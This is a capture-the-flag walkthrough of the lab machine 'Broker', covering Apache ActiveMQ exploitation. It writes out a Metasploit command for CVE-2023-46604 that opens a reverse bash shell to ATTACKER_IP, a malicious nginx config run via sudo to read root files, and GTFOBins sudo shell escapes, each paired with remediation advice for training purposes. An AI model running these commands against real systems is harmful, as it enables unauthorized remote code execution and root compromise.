← all walkthroughs

Broker

Linux· Easy
owned
2026-07-08
time to own
11m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and discovered Apache ActiveMQ 5.15.15 exposed on multiple ports, with its administrative web console protected only by the factory-default password. The default credentials gave immediate confirmation of a vulnerable version, and the publicly known CVE-2023-46604 deserialization vulnerability in the OpenWire protocol allowed unauthenticated remote code execution with a single Metasploit command, landing a shell as the 'activemq' service account.

From that shell, the 'activemq' account was permitted to run the nginx web server as root without a password via sudo. A malicious nginx configuration was written to serve the root user's home directory over a local HTTP port, and a single curl request retrieved the root flag — achieving full system compromise without ever cracking a password.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService and version enumeration (T1046)
Mapped all exposed services and fingerprinted Apache ActiveMQ
A version-detection port scan revealed an unusually wide attack surface: SSH on 22, nginx on 80, MQTT on 1883, AMQP on 5672, a Jetty HTTP console on 8161, STOMP on 61613, and the ActiveMQ OpenWire binary protocol on 61616. The banner on 61616 identified the software as Apache ActiveMQ OpenWire transport version 5.15.15, and the Jetty server on 8161 was recognised as the ActiveMQ web administration console.
Nmap output: '61616/tcp apachemq ActiveMQ OpenWire transport 5.15.15'; '8161/tcp http Jetty 9.4.39.v20210325'
Exact commands 1
Full version scan against every discovered open port.
nmap -sV -Pn -p 22,80,1883,5672,8161,35887,61613,61614,61616 $TARGET
2Credential DiscoveryDefault credentials (T1078.001)
Confirmed factory-default admin password on the ActiveMQ web console
The ActiveMQ administrative console on port 8161 responded with HTTP 401 and the realm name 'ActiveMQRealm', indicating HTTP Basic Authentication. Submitting the vendor-documented default credential pair admin:[REDACTED: recovered credential] returned HTTP 200 and the full broker management interface, confirming the instance was running with no post-installation hardening.
Curl -u admin:[REDACTED: recovered credential] http://$TARGET:8161/admin/index.jsp returned HTTP 200 with the ActiveMQ console UI.
Exact commands 2
Confirm the console requires authentication (expect 401 + ActiveMQRealm).
curl -sS -i http://$TARGET:8161/admin/
Test the vendor default password; HTTP 200 confirms successful login.
curl -sS -i -u admin:$PASSWORD http://$TARGET:8161/admin/index.jsp
FixReplace the factory-default ActiveMQ administrative credentials immediately after installationCritical
WeaknessThe ActiveMQ web console was reachable on port 8161 using the vendor-documented default username and password (admin / admin). Unauthorised users routinely test default credentials as the first step after fingerprinting a service, meaning this box was compromised the moment it was networked.
FixChange the admin password in activemq's jetty-realm.properties (or the equivalent credential store for your version) before the service is exposed to any network. Enforce a strong, unique password of at least 16 characters. Additionally, restrict access to port 8161 to a dedicated management network or VPN — the administrative console should never be reachable from untrusted hosts.
3ExploitationDeserialization of untrusted data / RCE (CVE-2023-46604, CWE-502)
Exploited CVE-2023-46604 to execute commands without authentication
Apache ActiveMQ 5.15.15 is within the affected range of CVE-2023-46604, a critical unauthenticated remote code execution flaw in the OpenWire protocol deserializer. A crafted network packet causes the broker to fetch and instantiate my own Spring XML bean definition, which invokes an arbitrary OS command during class loading. No credentials are required — the OpenWire port (61616) is accessible to any network peer.
Metasploit reported 'Command shell SESSION 1 OPENED' against $TARGET:61616.
Exact commands 1
Replace LHOST with your tun0 address. The module sends the malicious OpenWire frame and catches the reverse shell.
msfconsole -q -x "use exploit/multi/misc/apache_activemq_rce_cve_2023_46604; set RHOSTS $TARGET; set RPORT 61616; set TARGET Linux; set LHOST $ATTACKER_IP; set payload cmd/unix/reverse_bash; run -j"
FixPatch Apache ActiveMQ to a version that is not affected by CVE-2023-46604Critical
WeaknessActiveMQ 5.15.15 contains a critical unauthenticated remote code execution vulnerability in its OpenWire protocol deserializer. Any host that can reach port 61616 can execute arbitrary operating-system commands as the broker process without supplying credentials.
FixUpgrade Apache ActiveMQ to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 or later — the first releases in each branch to include the CVE-2023-46604 patch. If an immediate upgrade is not possible, block external access to port 61616 at the host firewall or network perimeter so only trusted broker peers can connect, and place the administrative console (8161) behind a VPN or dedicated management network.
4FootholdOS command shell via deserialization (T1059.004)
Verified shell access and captured user flag as the activemq service account
The reverse shell connected back as the 'activemq' operating-system account — the low-privilege user under which the ActiveMQ broker process runs. The user flag was accessible in activemq's home directory, confirming a working interactive session on the target host.
Shell session confirmed by 'id' output showing uid=1001(activemq); user.txt present in /home/activemq or service home directory.
Exact commands 2
Run inside the Metasploit session to confirm identity and that the target IP ($TARGET) appears.
id; hostname; hostname -I
Retrieve the user flag; actual value redacted — expect <user.txt>.
cat ~/user.txt
5Local EnumerationSudo policy enumeration (T1053 / T1548.003)
Discovered that the activemq account can run nginx as root via sudo
Standard post-exploitation privilege-escalation enumeration revealed that the activemq account had a password-free sudo rule permitting it to launch the nginx binary as root. This is an unnecessary capability: a message-broker service account has no legitimate reason to start a web server. The rule was visible in the sudo policy without supplying a password.
Sudo -l output: '(root) NOPASSWD: /usr/sbin/nginx'
Exact commands 1
List sudo privileges for the activemq account; look for NOPASSWD entries.
sudo -l
FixRemove the unrestricted sudo rule that allows the activemq account to run nginx as rootHigh
WeaknessThe activemq service account could execute /usr/sbin/nginx as root without a password and without any restriction on command-line flags. Because nginx accepts an arbitrary configuration file, this single rule let a low-privilege an unauthorised user read any file on the system — including /root/root.txt — as root, and could equally be used to overwrite files or execute commands as root.
FixDelete the NOPASSWD nginx rule from /etc/sudoers (or the relevant drop-in under /etc/sudoers.d/). If nginx genuinely must be managed by the activemq account, use systemd with appropriate service permissions instead of sudo. Apply the principle of least privilege: service accounts should have no sudo rights beyond what their specific function requires, and 'run any binary as root' rules should never exist in production.
6Privilege EscalationSudo nginx arbitrary file read / GTFOBins (T1548.003)
Abused sudo nginx to serve the root home directory and read the root flag
Because nginx accepts an arbitrary configuration file on the command line and the sudo rule placed no restrictions on flags, a crafted nginx.conf was written to /tmp that started a listener on a local port with the filesystem root (/) as the web root and directory listing enabled. Running nginx as root with this configuration caused the root-owned nginx worker process to serve any file on the system. A single HTTP request to the local port retrieved /root/root.txt, completing the compromise without ever obtaining root's password or spawning a root shell.
Curl http://127.0.0.1:8888/root/root.txt returned the root flag content; process list confirmed nginx master running as root.
Exact commands 3
Write a minimal nginx config that runs as root and exposes the entire filesystem.
cat > /tmp/evil.conf << 'EOF'
user root;
events {}
http {
    server {
        listen 8888;
        root /;
        autoindex on;
    }
}
EOF
Launch nginx as root using the malicious config.
sudo nginx -c /tmp/evil.conf
Fetch the root flag over the root-owned nginx instance; actual value redacted — expect <root.txt>.
curl http://127.0.0.1:8888/root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp
1883/tcp
8161/tcp
61613/tcp
61614/tcp
61616/tcp